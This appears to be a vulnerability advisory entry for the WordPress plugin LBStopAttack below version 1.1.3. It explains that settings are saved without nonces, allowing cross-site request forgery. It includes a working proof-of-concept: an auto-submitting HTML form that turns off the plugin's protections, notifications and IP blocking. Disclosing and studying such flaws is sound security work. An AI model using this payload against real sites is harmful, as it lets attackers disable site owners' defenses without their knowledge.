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wpexploitDaniel RufWPEX-ID:9EBB8318-EBAF-4DE7-B337-C91327685A43
HistorySep 29, 2022 - 12:00 a.m.

LBStopAttack < 1.1.3 - Arbitrary Settings Update via CSRF

2022-09-2900:00:00
Daniel Ruf
251
arbitrary settings update
csrf
form submission.

0.001 Low

EPSS

Percentile

34.1%

The plugin does not use nonces when saving its settings, making it possible for attackers to conduct CSRF attacks. This could allow attackers to disable the plugin’s protections.

<form id="test" action="https://example.com/wp-admin/admin.php?page=lbsa_home" method="post">
    <input type="text" name="savelbsa" value="1">
    <input type="text" name="onlyfront" value="0">
    <input type="text" name="checkwp" value="0">
    <input type="text" name="namespaces" value="GET">
    <input type="text" name="levelLFI" value="50">
    <input type="text" name="sendnotification" value="0">
    <input type="text" name="sendto" value="">
    <input type="text" name="raiseerror" value="0">
    <input type="text" name="redirurl" value="https://google.com">
    <input type="text" name="errorcode" value="">
    <input type="text" name="errormsg" value="">
    <input type="text" name="ipblock" value="0">
    <input type="text" name="ipblocktime" value="222">
    <input type="text" name="ipblockcount" value="666666666">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

34.1%

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